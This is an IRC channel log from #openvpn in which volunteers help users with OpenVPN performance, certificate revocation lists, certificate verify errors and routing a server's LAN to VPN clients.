19:04 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
19:04 < EugeneKay> Worth a read ^
19:04 < EugeneKay> s/slower/faster/
19:04  * EugeneKay needs a drink
19:04 <+pekster> If performance is an issue, try to find hardware that supports aes-ni (it's the openssl support that matters here, though openvpn can show you this with `openvpn --show-engines`)
19:05 <+pekster> This said, anything better than SOHO embedded routers that lack aes-ni should perform fine for <=30 Mbps
19:05 <+pekster> Stuff that weak will cap out sooner
19:05 < EugeneKay> Yeah, he linked a 1.3Ghz Celeron. Weak by Bitcoin standards, but plenty fine for openvpn
19:06 < Cubox> Posted on the forum to get a clue. I gathered all info here, if anyone want to look at. https://forums.openvpn.net/topic13919.html
19:06 <@vpnHelper> Title: OpenVPN Support Forum Rebooted server, clients access outside internet slow. : Server Administration (at forums.openvpn.net)
19:10 -!- eliasp_ is now known as eliasp
19:11 < tharkun> I need to test a machine that is using openvpn as a client, it will be deployed tomorrow but at the moment I can only connect it to the local lan, how can I test that everything is working?
19:11 <@krzee> tharkun,
19:11 <@krzee> !goal
19:11 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
19:11 < tharkun> test the set up
19:12 <@krzee> lol
19:12 <@krzee> read it again
19:12 < Cubox> tharkun: ping client, server?
19:12 <@krzee> "Please clearly state your goal for your vpn:"
19:12 <@krzee> shit it even has examples
19:12 < tharkun> I need to connect the client to the server and access the lan behind it. The machine is currently on the lan behind the server
19:12 < Cubox> tharkun: if forwarding to internet, try to ping google
19:12 <@krzee> ahh
19:13 <@krzee> you cant test that from within the same lan
19:13 <@krzee> take the machine elsewhere
19:13 < tharkun> :(
19:13 <@krzee> neighbors house, friends house, whatever
19:13 <@krzee> get it online via a wifi hotspot
19:13 <@krzee> something
19:14 <@krzee> !samesubnet
19:14 <@vpnHelper> "samesubnet" is (#1) clients can not connect to a server pushing its lan if on the same subnet. you can only reach your subnet on layer2 or through your gateway, when you create a route for it you will try to reach your gateway over the vpn which dies because you cant reach your gateway or (#2) you can use --client-nat if on 2.3 to work around changing the subnet, but you should still just change the
19:14 <@vpnHelper> subnet
19:14 <@krzee> in your case, its even worse, not just the same subnet but the same network! can only test from outside
19:14 <@krzee> has you been redirecting internet over the vpn, could just use:
19:14 <+pekster> Well, sort of
19:14 <@krzee> !local
19:15 <@vpnHelper> "local" is a flag for --redirect-gateway, Add the local flag if both OpenVPN machines are directly connected via a common subnet, such as with wireless.
19:15 <+pekster> One can test behind a trypical NAT gateway too
19:15 <+pekster> typical*
19:15 < tharkun> krzee: lol, let me see if I can wire this to the dmz of the lan for testing purposes
19:16 <+pekster> Um, if this is the SOHO definition of "DMZ" that won't do what you want. If you mean a logically separate network, then say that, not "DMZ"
19:16 <@krzee> pekster, his router likely wont be able to handle him connecting to his external ip from within his lan, most dont like it
19:16 <@krzee> tharkun, just get to another lan
19:16 <@krzee> should be plenty easy
19:16 <@krzee> take it home
19:17 <+pekster> I've tested things just fine behind either a lab network "behind" my LAN, or a $10 router I had lying around. Works fine, if one knows what they're doing. It's about the client, not the router appearing to be on the same network after the WAN-side NAT
19:17 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:17 -!- YeOldHinnerk [~chatzilla@ip-62-143-97-88.unitymediagroup.de] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0.1/20130814063812]]
19:17 <+pekster> Of course, all bets are off if the fundamentals are lacking
19:17 < EugeneKay> Any time somebody says DMZ I vomit. On them.
19:17 < tharkun> If I wire two nics would they work on a p2p ?
19:18 <+pekster> Sure, don't even need openvpn for that!
19:18 < tharkun> EugeneKay: i know that is the little label it has written on the backpanel of the whitebox
19:18 < EugeneKay> Get a razor and scrape it off
19:18 < EugeneKay> You'll be appier.
19:18 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 264 seconds]
19:18 <+pekster> `ip address add 10.1.2.3 peer 10.1.2.2` and bam!, you have a PtP connection
19:19 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Read error: Connection reset by peer]
19:19  * krzee mitm's your direct ethernet connection and doesnt care that you run openvpn cause he has physical access to both your machines anyways
19:19 <@krzee> haha
19:19 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
19:20 <+rob0> Dee emzy
19:21 < tharkun> pekster: hmm I'll tunnel all trafic from my lap to an external server which in turn can redirect to our local external ip address with no problem. Thanks for the idea :)
19:21 < tharkun> rob0: you've got no lolipop here :(
19:21 <+rob0> O- <-- sure I do, a nice big one!
19:21 -!- ihdfnsv [~ihdfnsv@184.75.221.3] has quit [Quit: Leaving]
19:27 < hjohnson> heh.. can't beleive i'm actually considering setting up a "local" email server
19:27 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Remote host closed the connection]
19:30 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
19:40 < crocket> pekster, How do you revoke TLS certificates?
19:40 < EugeneKay> !revoke
19:41 -!- HyperGli_ [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
19:41 <+pekster> !crl
19:41 <@vpnHelper> "crl" is (#1) --crl-verify <crl> A CRL (certificate revocation list) is used when a particular key is compromised but when the overall PKI is still intact. The only time when it would be necessary to rebuild the entire PKI from scratch would be if the root certificate key itself was compromised. or (#2) you can make use of CRL by using the revoke-full script in easy-rsa (packaged with openvpn) that
19:41 <@vpnHelper> will create the CRL file for you. ssl-admin will also build a crl for you or (#3) openssl ca -config openssl-1.0.0.cnf -gencrl -out keys/crl.pem
19:42 < EugeneKay> Useless bot.
19:42 <+pekster> crocket: If you're "so well versed in X509" as you claim, you ought to know that ;)
19:42 -!- HyperGlide [~HyperGlid@182.149.191.41] has joined #openvpn
19:42 <+pekster> The CA PKI revokes and issued a CRL that the authenticating nodes pick up on
19:43 < crocket> pekster, I know there's a revocation server.
19:43 < crocket> I just want to know better alternatives.
19:43 <+pekster> see --disable in the manpage for an alternative
19:43 <+pekster> The effect is the same, though the latter is "undo-able"
19:44 < crocket> pekster, http://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol
19:44 <@vpnHelper> Title: Online Certificate Status Protocol - Wikipedia, the free encyclopedia (at en.wikipedia.org)
19:44 <+pekster> OpenVPN doesn't use OCSP
19:44 <+pekster> Though, if you choose, you could use the --tls-verify script to support OCSP
19:45 < crocket> pekster, How do I better provide CRL to OpenVPN?
19:45 < EugeneKay> If I could figure out how the fuck to run a OCSP server I might actually do that.
19:45 <+pekster> crocket: For starters you could read the bot output above before asking things already explained
19:45 < EugeneKay> All of the implementations I can find are in C(ugh, fuck you), some Red Hat or even worse proprietary shit, or are totally undocumented.
19:45  * Skapare likes C
19:45 < EugeneKay> I can't even find a good fucking document on the SPEC to write my own Flask app to do it
19:46 < EugeneKay> C is a good language.... to write a compiler in.
19:46 < Skapare> or an OS
19:46 < EugeneKay> I like my programmign like my dance: interprative.
19:46 < Skapare> but I also program in other things like Python ... just depends in the project
19:46 < EugeneKay> <3 Python
19:47 < crocket> EugeneKay, Do you want to write an OCSP server?
19:47 < EugeneKay> Not particularly
19:47 < EugeneKay> But I would like to run one for my corp CA
19:47 < EugeneKay> I have the OCSP urls built into the certs, but they 404 :-p
19:48 < EugeneKay> The only thing that seems to boter checking(and notifies me that it failed) is RDP, and even then only when an up-to-date CRL isn't available(because I forgot to gen it this month)
19:49 <+pekster> From an openvpn standpoint, a 'pull' procedure for updating the CRLs seems to be the path-of-less-resistance
19:50 <+pekster> You can always choose to fatally fail if you're unable to pull a verifyable CRL within a defined timeframe, and don't need to implement OCSP
19:50 < EugeneKay> It's cool though :-p
19:50 <+pekster> So's ISS, but I'm not building one
19:50 < EugeneKay> The spacecraft? Nto because you don't want one, I betcha.
19:51  * Skapare wonders where to pull a CRL from
19:51  * EugeneKay bends over
19:51 < Skapare> I guess maybe I could do that through S3
19:51 < crocket> pekster, I think OCSP is a sueprior solution.
19:57 < Skapare> all my openvpn servers are in AWS with non persistent (between relaunch) storage in the usual sense
19:58 <+pekster> Trying to win the non-sequitur award Skapare?
19:58 < Skapare> oh, right, this is not above openvpn
19:59 < Skapare> about
19:59 < crocket> pekster, What is pull?
19:59 <+pekster> Well, if you meant pull a CRL I suppose I connect it
19:59 <+pekster> In the general sense it doesn't matter if you use S3 or a bittorrent swarm
19:59 <+pekster> crocket: pull, receive, download, aquire
20:00 < crocket> pekster, from OCSP?
20:00 < Skapare> but I would want to get things basically working BEFORE adding more complication like bittorrent
20:00 < Skapare> or S3
20:03 < crocket> Thus, OCSP
20:05 <+pekster> I was referring to less complicated solutions that require a CRL that has been signed within a specified timeframe (say, 1 or 2 weeks)
20:05 <+pekster> By all means, I've already established that, while not natively, openvpn can be made to use an OCSP server via scripting
20:07 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:08  * Skapare has no place for a CRL yet
20:20 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 248 seconds]
20:35 -!- HyperGli_ [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
20:37 -!- HyperGlide [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
20:37 -!- HyperGlide [~HyperGlid@182.149.191.41] has joined #openvpn
20:37 -!- HyperGli_ [~HyperGlid@li634-159.members.linode.com] has quit [Remote host closed the connection]
20:39 -!- HyperGlide [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
20:39 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
20:55 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
20:55 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
20:58 < crocket> pekster, How do you think of using kerberos instead of X.509 certificates?
21:00 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
21:00 <+pekster> Not at all relevant to openvpn seeing as openvpn does not have a kerberos authentication mechanism
21:17 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
21:17 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
21:17 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:20 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
21:35 -!- share [share@unaffiliated/share] has left #openvpn []
22:05 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has joined #openvpn
22:08 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
22:08 -!- dradec [~d@unaffiliated/dradec] has quit [Ping timeout: 256 seconds]
22:10 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
22:12 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 240 seconds]
22:12 -!- michaelhart_ is now known as michaelhart
22:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
22:16 -!- spacedust [~info@unaffiliated/cosmicblue] has quit [Ping timeout: 264 seconds]
22:16 -!- spacedust [~info@dev.gentooexperimental.org] has joined #openvpn
22:17 -!- spacedust is now known as Guest75680
22:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
22:23 -!- EugeneKay is now known as Eugennerz
22:27 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 248 seconds]
22:30 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
23:09 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
23:12 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has quit [Ping timeout: 256 seconds]
23:15 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
23:19 -!- xdarklight [~darklight@unaffiliated/xdarklight] has quit [Ping timeout: 264 seconds]
23:20 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 245 seconds]
23:22 -!- sailerboy [~sailerboy@sailerboy.net] has quit [Ping timeout: 268 seconds]
23:25 -!- xdarklight [~darklight@unaffiliated/xdarklight] has joined #openvpn
23:26 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
23:26 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Remote host closed the connection]
23:27 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
23:31 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Quit: Felt like it.]
23:37 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
23:40 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Client Quit]
23:44 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
--- Day changed Sat Sep 28 2013
00:05 -!- crocket [~crocket@unaffiliated/crocket] has left #openvpn ["Leaving"]
00:07 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
00:26 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
00:59 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:11 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has joined #openvpn
01:20 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
01:23 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
01:23 -!- xrosnight [~quassel@116.76.169.18] has quit [Changing host]
01:23 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
01:35 -!- xbanux1 [~xbanux@triband-mum-59.182.172.29.mtnl.net.in] has joined #openvpn
01:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:39 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
01:41 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
01:43 -!- xbanux1 [~xbanux@triband-mum-59.182.172.29.mtnl.net.in] has quit []
01:44 -!- master_o1_master [~master_of@p4FF24C86.dip0.t-ipconnect.de] has joined #openvpn
01:47 -!- master_of_master [~master_of@p4FF2435D.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
01:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:59 -!- bawki [bogie@2001:4ba0:fffd:65::101] has quit [Ping timeout: 245 seconds]
02:16 < DrCode> hi all
02:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:29 -!- bogie [bogie@2001:4ba0:fffd:65::101] has joined #openvpn
03:33 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:38 -!- xrosnight_ [~quassel@116.76.169.18] has joined #openvpn
04:38 -!- xrosnight [~quassel@116.76.169.18] has quit [Ping timeout: 245 seconds]
04:43 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
04:47 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:48 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
04:57 -!- p3rror [~mezgani@41.140.214.247] has joined #openvpn
05:23 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
05:38 -!- xrosnight_ [~quassel@116.76.169.18] has quit [Read error: Connection reset by peer]
05:40 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
05:40 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
05:51 -!- xrosnight [~quassel@116.76.169.18] has quit [Ping timeout: 240 seconds]
05:56 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
06:05 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
06:06 -!- YeOldHinnerk [~chatzilla@xdsl-89-0-233-204.netcologne.de] has joined #openvpn
06:06 < YeOldHinnerk> !ca
06:06 < YeOldHinnerk> !verify
06:06 <@vpnHelper> "verify" is (#1) If you receive certificate-based 'VERIFY ERROR' messages, you can manually verify the remote cert against a local CA using openssl: `openssl verify -verbose -CAfile /local/ca.crt /remote/copy/of/other.crt` or (#2) Note that this requires you to manually transfer the remote certificate to the local system for testing or (#3) You can also manually check issuer fingerprints with
06:06 <@vpnHelper> detailed cert output: `openssl x509 -in /some/cert.crt -noout -text` and compare against the CA cert fingerprint
06:07 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has joined #openvpn
06:07 < hyper_ch> where do I find the gpg keys for repos.openvpn.net ?
06:13 < YeOldHinnerk> hi
06:13 < YeOldHinnerk> i still have a verify problem.
06:13 < YeOldHinnerk> I redid the entire key, certifiacte & ca prodcedure yesterday and followed the instructions exactly.
06:14 < YeOldHinnerk> I also just checked, that the Client certificate fits to the ca
06:14 < YeOldHinnerk> same for server
06:14 < YeOldHinnerk> however, when I try to connect, I find the following error in my logs:
06:15 < YeOldHinnerk> Sat Sep 28 12:57:09 2013 VERIFY ERROR: depth=1, error=self signed certificate in certificate chain: C=DE, ST=XX, L=Cologne, O=DieUnsichtbareHand, OU=DieUnsichtbareHand-CA, CN=DieUnsichtbareHand-CA, name=DieUnsichtbareHand-CA, emailAddress=HRamthun@gmx.de
06:15 < YeOldHinnerk> Sat Sep 28 12:57:09 2013 TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
06:15 < YeOldHinnerk> Sat Sep 28 12:57:09 2013 TLS Error: TLS object -> incoming plaintext read error
06:15 < YeOldHinnerk> Sat Sep 28 12:57:09 2013 TLS Error: TLS handshake failed
06:15 < YeOldHinnerk> note that the above certificate is the CA.
06:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:17 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
06:27 -!- master_of_master [~master_of@p4FF244FA.dip0.t-ipconnect.de] has joined #openvpn
06:30 -!- master_o1_master [~master_of@p4FF24C86.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
06:39 -!- YeOldHinnerk [~chatzilla@xdsl-89-0-233-204.netcologne.de] has quit [Ping timeout: 248 seconds]
07:10 -!- zu [~zu@ks387228.kimsufi.com] has left #openvpn []
07:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:45 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
07:47 -!- BtbN [znc@btbn.de] has joined #openvpn
07:53 -!- JackWinter1 [~jack@vodsl-11200.vo.lu] has quit [Excess Flood]
07:54 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
07:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:58 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:59 -!- p3rror [~mezgani@41.140.214.247] has quit [Ping timeout: 252 seconds]
08:00 -!- p3rror [~mezgani@41.248.184.49] has joined #openvpn
08:06 -!- kubbing [~kubbing@ip-89-176-101-125.net.upcbroadband.cz] has joined #openvpn
08:17 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
08:18 -!- Fohlen [~Fohlen@2a01:4f8:d15:34c3::2] has quit [Ping timeout: 246 seconds]
08:19 -!- p3rror [~mezgani@41.248.184.49] has quit [Quit: Leaving]
08:22 -!- Fohlen [~Fohlen@2a01:4f8:d15:34c3::2] has joined #openvpn
08:26 -!- [fred] [fred@konfuzi.us] has joined #openvpn
08:30 -!- kubbing [~kubbing@ip-89-176-101-125.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:42 -!- MeanderingCode [~Meanderin@192.241.150.232] has quit [Ping timeout: 245 seconds]
08:43 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Ping timeout: 245 seconds]
08:43 -!- gffa [~unknown@unaffiliated/gffa] has quit [Ping timeout: 245 seconds]
08:43 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
08:43 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 245 seconds]
08:44 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
08:45 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:47 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn
09:13 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
09:19 -!- SlutaTramsa_ [~SlutaTram@2a00:1a28:1251:178:73:210:61:1] has quit [Changing host]
09:19 -!- SlutaTramsa_ [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
09:19 -!- SlutaTramsa_ is now known as SlutaTramsa
09:30 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
09:50 -!- HyperGlide [~HyperGlid@182.149.191.41] has joined #openvpn
09:58 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
09:59 -!- xrosnight [~quassel@116.76.169.18] has quit [Remote host closed the connection]
10:01 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
10:12 -!- rictoo [~rictoo@563BD0B7.dsl.pool.telekom.hu] has joined #openvpn
10:12 < rictoo> hey guys
10:13 < rictoo> i've been bashing my head against the wall for quite a while now :(
10:13 < rictoo> i've created an openvpn server using tun on a windows box. i'm able to connect to it fine from my client.
10:13 < rictoo> however, i'd like to allow the client to access the internal network on the server
10:14 < rictoo> the server's LAN is on 192.168.0.x and the VPN is on 10.8.0.x
10:14 < rictoo> in the server configuration i'm pushing the route  (push "route 192.168.0.0 255.255.255.0") to the client
10:15 < rictoo> but i'm still not able to ping anything on 192.168.0.x from the client when connected to the VPN. i'm guessing its some routing problem on the server itself so i tried putting in "route 10.8.0.0 255.255.255.0 192.168.0.0.1" into the server configuration, but it still doesn't work.
10:16 < Aketzu> you need to tell windows to forward data
10:17 < Aketzu> also the computers (or default gw) in the lan need that route back to 10.8.0.0
10:17 -!- HyperGlide [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
10:17 < rictoo> this is my server configuration: http://pastebin.com/BksHcstW
10:17 < rictoo> Aketzu, i've read about that. isn't the latter the same as the former?
10:18 -!- HyperGlide [~HyperGlid@182.149.191.41] has joined #openvpn
10:18 < rictoo> can't windows forward the info to the lan, and retrieve the info and forward it back to the vpn?
10:19 -!- xrosnight [~quassel@116.76.169.18] has quit [Read error: Connection reset by peer]
10:20 < rictoo> i thought "route 10.8.0.0 255.255.255.0 192.168.0.1" did what you said
10:20 < Aketzu> that "route 10.8.0.0.... 192.168.0.1" doesn't make sense since it is automatically created when you have the tun network adapter
10:20 < Aketzu> rictoo: yes it does... but every machine in the network needs it
10:20 < Aketzu> or put it to default gateway
10:21 < Aketzu> because when ping packet comes to machine it doesn't know which exact machine sent it... when sending reply it will just look up routing tables in that machine and act accordingly
10:22 -!- HyperGlide [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
10:23 < rictoo> i see
10:23 -!- HyperGlide [~HyperGlid@182.149.191.41] has joined #openvpn
10:23 < rictoo> so there's no way to access the entire internal LAN from the VPN client without modifying every box on the LAN individually?
10:23 < Aketzu> yes there is
10:24 < Aketzu> modify the default gateway box
10:29 < Cubox> Still nobody for this? https://forums.openvpn.net/topic13919.html
10:29 <@vpnHelper> Title: OpenVPN Support Forum Rebooted server, clients access outside internet slow. : Server Administration (at forums.openvpn.net)
10:35 < Aketzu> Cubox: does tc qd show any ratelimits?
10:36 < Cubox> qdisc mq 0: dev eno1 root
10:36 < Cubox> qdisc pfifo_fast 0: dev tun0 root refcnt 2 bands 3 priomap  1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1
10:37 < Aketzu> so nothing there either
10:38 < Cubox> http://sprunge.us/EQgP
10:40 < Cubox> Aketzu: if you want: http://d.pr/i/WDIr
10:40 < Aketzu> any messages from firewall in dmesg?
10:40 <@vpnHelper> Title: Droplr Screen Shot 2013-09-28 at 17.37.38.png (at d.pr)
10:41 < Cubox> nope
10:42 < Aketzu> could there be some mtu mismatch somewhere
10:42 < Aketzu> probably shouldn't be that drastic
10:42 < Cubox> everything worked fine from now :/
10:42 < Cubox> Aketzu: I am at 2ko/s on clients...
10:42 < Cubox> on client 2013-09-28 17:34:38 /sbin/ifconfig tun0 10.8.0.2 10.8.0.2 netmask 255.255.255.0 mtu 1500 up
10:45 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
10:47 < rictoo> Aketzu, i'm only looking for the VPN client to be able to connect to a specific ip on the LAN (192.168.0.212 specifically)
10:53 < Skapare> rictoo: will that specific ip on the LAN know how to route packets for the VPN client to the VPN server?
10:59 < Cubox> http://www.vyatta.org/node/3985
10:59 <@vpnHelper> Title: OpenVPN: transmittion from server to client slow (SOLVED) | Vyatta.org Community (at www.vyatta.org)
11:00 < rictoo> Skapare, no
11:00 < rictoo> :P
11:00 < rictoo> i mean, it should
11:00 < rictoo> but i guess thats what im here to ask for help about
11:07 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 240 seconds]
11:11 < Cubox> i'll ask on stackexchange...
11:13 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
11:15 <+pekster> rictoo: We have !clientlan and !serverlan for LANs behind an openvpn server or client
11:16 < rictoo> !serverlan
11:16 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:16 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:16 < rictoo> !route_outside_openvpn
11:16 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
11:18 < rictoo> the default gateway would be my router, correct?
11:18 <@krzee> normally yes
11:18 < rictoo> thanks :)
11:18 < rictoo> sorry for the spam
11:18 < rictoo> !route
11:18 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
11:18 <@vpnHelper> behind the server or client
11:18 < rictoo> i was planning on skimming it
11:19 < rictoo> can i just skim it
11:19 <@krzee> sure, can i /kick when you ask a question that's in it?
11:19 <@krzee> i wrote it, seems fair :D
11:19 < rictoo> :P
11:19 < rictoo> then yes
11:20 < rictoo> ok so let me get this straight
11:20 < rictoo> essentially, i want to forward the information my openvpn server is getting on the VPN network to the LAN gateway?
11:21 < rictoo> i'll just go ahead and read the page first
11:21 <@krzee> good idea :D
11:21 <@krzee> you can skip to the relevant section
11:22 < rictoo> now i'm curious. let's say im on 3g. i also have a gateway right
11:22 < rictoo> ?
11:22 <@krzee> you are sharing a 3g lan?
11:22 < rictoo> no
11:22 <@krzee> then wtf
11:22 -!- YeOldHinnerk [~chatzilla@xdsl-89-0-233-204.netcologne.de] has joined #openvpn
11:22 < rictoo> since i dont have access to another network, im testing this via a device on 3g and i just got curious since the page mentions clients on a lan
11:22 < rictoo> (client is on 3g)
11:23 <@krzee> we're only talking about sharing a lan
11:23 <@krzee> troll is trolly
11:23 < rictoo> yeah, that'd be the server's lan for me. i was just curious about how 3g works
11:23 -!- YeOldHinnerk [~chatzilla@xdsl-89-0-233-204.netcologne.de] has quit [Client Quit]
11:23 < rictoo> i'm not trolling :P
11:24  * krzee takes a vote
11:25 < Cubox> http://serverfault.com/questions/542381/openvpn-forwarding-slow-since-reboot
11:25 <@vpnHelper> Title: linux - Openvpn, forwarding slow since reboot - Server Fault (at serverfault.com)
11:28 < rictoo> okay, i read the page krapper
11:28 < rictoo> err krzee *
11:28 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Quit: ZNC - http://znc.in]
11:28 < rictoo> i'm already pushing the lan gateway to the client
11:28 < rictoo> http://pastebin.com/BksHcstW
11:28 <@krzee> for EVERY lan you want to share over the vpn
11:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:29 < rictoo> it's not even able to access the server's internal lan ip
11:29 <@krzee> you must tell that lans router about every subnet that the lan will access over the vpn is behind the lan machine which runs the vpn
11:29 <@krzee> you looked at this graph?  http://www.secure-computing.net/wiki/index.php/Graph
11:29 <@vpnHelper> Title: Graph - Secure Computing Wiki (at www.secure-computing.net)
11:29 <+pekster> That route statement for 10.8.0/24 doesn't even make any sense
